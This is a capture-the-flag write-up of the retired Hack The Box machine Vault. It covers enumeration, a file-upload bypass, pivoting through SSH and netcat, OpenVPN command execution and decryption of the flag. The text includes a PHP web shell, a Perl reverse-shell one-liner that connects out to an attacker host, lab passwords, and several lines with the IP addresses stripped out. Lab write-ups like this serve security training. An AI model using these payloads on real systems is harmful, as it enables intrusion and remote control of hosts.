This post documents the complete walkthrough of Vault, a retired vulnerable VM created by nol0gz, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Vault is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
|   256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_  256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

nmap finds 22/tcp and 80/tcp open. Nothing extraordinary. This is how the site looks like.

Directory/File Enumeration

Let’s go ahead and make a guess that everything related to Sparklays is behind the directory /sparklays. We’ll use wfuzz coupled with SecLists’s quickhits.txt and see what we can find.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt --hc '403,404'
* Wfuzz 2.3.1 - The Web Fuzzer                         *

Total requests: 2371

ID   Response   Lines      Word         Chars          Payload    

000506:  C=200     13 L       38 W          615 Ch        "/admin.php"
001505:  C=200      3 L        2 W           16 Ch        "/login.php"

Total time: 48.81987
Processed Requests: 2371
Filtered Requests: 2369
Requests/sec.: 48.56628

Not too shabby. Now, let’s change to another wordlist and see if we can discover other directories.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc '403,404'
* Wfuzz 2.3.1 - The Web Fuzzer                         *

Total requests: 4593

ID   Response   Lines      Word         Chars          Payload    

000442:  C=200     13 L       38 W          615 Ch        "admin.php"
001339:  C=301      9 L       28 W          323 Ch        "design"

Total time: 93.51900
Processed Requests: 4593
Filtered Requests: 4591
Requests/sec.: 49.11301

Let’s go deeper with wfuzz’s own wordlists.

# wfuzz -w common.txt -w extensions_comment.xt --hc 404
* Wfuzz 2.3.1 - The Web Fuzzer                         *

Total requests: 26600

ID   Response   Lines      Word         Chars          Payload    

007571:  C=200      3 L        8 W           72 Ch        "design - .html"
024304:  C=403     11 L       32 W          312 Ch        "uploads - /"

Total time: 115.6137
Processed Requests: 26600
Filtered Requests: 26598
Requests/sec.: 230.0764

Awesome. wfuzz finds another page. This is how it looks like.

The new page exposes a new attack surface at /changelogo.php as well.

File Upload Bypass

What we are seeing here is a classic file upload attack, specifically by discovering the whitelisted file extensions. To that end, I wrote a bash script with curl as the main driver and by supplying the script with a wordlist containing a large number of file extensions, I can determine which extensions are whitelisted.

The wordlist is derived from /etc/mime.types like so.

awk '{ $1 = ""; print $0 }' /etc/mime.types | sed -r -e 's/^ //g' -e '1,26d' -e '/^$/d' | tr ' ' '\n' > extensions.txt

The script is shown below.


curl -s \
     -F "[email protected];filename=info.${EXT}" \
     -F "submit=upload+file" \
     $URL \
| sed '1!d' \
| cut -d '<' -f1 \
| grep success &>/dev/null && echo "[+] Uploaded: $UPLOADS/info.${EXT}"

The script takes in a file extension as argument. I’m using GNU Parallel to speed things up like so.

You can see that these are the whitelisted file extensions and only .php5 is executable. The file info contains the following PHP code:

<?php phpinfo(); ?>

With that in mind, we can craft another file with the following PHP code and save it as cmd.php5. After uploading, the file will allow us to execute remote commands.

<?php echo shell_exec($_GET[0]); ?>


Low-Privilege Shell

We can now execute a reverse shell. I always go for a Perl reverse shell simply because it’s more likely to be available than any other interpreted languages such as Python.

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

It’s best to urlencode the code to prevent complications because we are entering it on the browser’s address bar.

Awesome. We have shell. Let’s go through the usual process to upgrade the shell to full TTY.

During enumeration of www-data’s account, I found the password (Dav3therav3123) to dave’s SSH account and other pertinent information at /home/dave/Desktop.

Voila. Another shell this time as dave.

Notice that the host has many virtual network interfaces. One of them is a virtual bridge that links to

DNS + Configurator

Let’s use the following command to scan the ports of to see what we are up against.

$ for p in $(seq 1 10000); do (nc -w1 -nvz $p 2>&1 | grep succeed); done
Connection to 22 port [tcp/*] succeeded!
Connection to 80 port [tcp/*] succeeded!

Let’s do a dynamic port-forwarding with SSH. It opens up a SOCKS proxy on my attacking machine which I can then use to link up to

ssh -D9999 [email protected] -f -N 2>/dev/null

The proxy on the browser is set up to point to socks5://

Directory/Files Redux

Now that we have a new enumeration point, let’s do what we always do: wfuzz

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc '403,404' -t 20 -p
* Wfuzz 2.2.11 - The Web Fuzzer                        *

Total requests: 4593

ID      Response   Lines      Word         Chars          Payload    

002095:  C=200      6 L       25 W          195 Ch        "index.php"
002743:  C=200      1 L        6 W           36 Ch        "notes"

Total time: 64.27585
Processed Requests: 4593
Filtered Requests: 4591
Requests/sec.: 71.45762

Notice I’m pointing wfuzz to the SOCKS proxy set up earlier. What do we have here? notes looks interesting.

It seems to be suggesting the presence of two files: 123.ovpn and

Here’s what I think is happening here. Editing the text area in /vpnconfig.php and hitting Update file writes to 123.ovpn and hitting the link Test VPN executes

I know that OpenVPN client configuration file can execute shell commands but I need to find a OpenVPN server to connect to. An OpenVPN server listens on 1194/udp by default.

Back in dave’s shell, I run the following command to find a valid OpenVPN server.

Ha ha. It’s almost as if the creator anticipates mistakes to be made, that’s why he catered for so many servers. Now, let’s see if these OpenVPN commands will work.

Meanwhile, I have a nc listener set at on 2323/tcp

A root shell to DNS!

During enumeration, I discovered dave’s SSH password (dav3gerous567) to DNS and he is able to sudo as root. That saves us from spawning a shell through OpenVPN every time and SSH provides a far more superior shell.

The file user.txt is at dave’s home directory.

I also discovered DNS has access to through the firewall at Check out the routing table.

I’m betting the Vault is one of the hosts in the subnet but which one? I went through the logs searching for hints the creator might have left and here’s what I found.

It’s clear the firewall only accepts inbound traffic with a source port of 4444/tcp to the host listening at 987/tcp.

Let’s see what’s behind 987/tcp with ncat and the -p option to indicate our source port.

I see. 987/tcp is a wrapper for SSH.

SSH comes with a slew of options, particularly the ProxyCommand option allows ssh to proxy traffic through a network utility tool like ncat.

This is awesome, isn’t it?

I noticed a pattern of dave’s having SSH accounts on all the hosts encountered thus far, so that’s what I’m going to try.

Sweet. The password is dav3gerous567. However, dave’s default shell is a restricted one. Fret not, we just have to re-login like so.

The file root.txt is here but appears encrypted with GPG.

It doesn’t appear the file is encrypted on this host because the directory .gnupg is not here. There’s a couple more hints to suggest the decryption is to be done elsewhere.

  1. Tools like base64, hexdump and xxd are not available on vault.
  2. Python 3 is hidden as python3m on vault.
  3. The passphrase itscominghome found on ubuntu suggested the first dave SSH account.

We can print a base64-encoded string of the file root.txt.gpg like so.

Copy the string to the first dave shell and decrypt it like so.

The passphrase is indeed itscominghome. And you get root.txt after the decryption.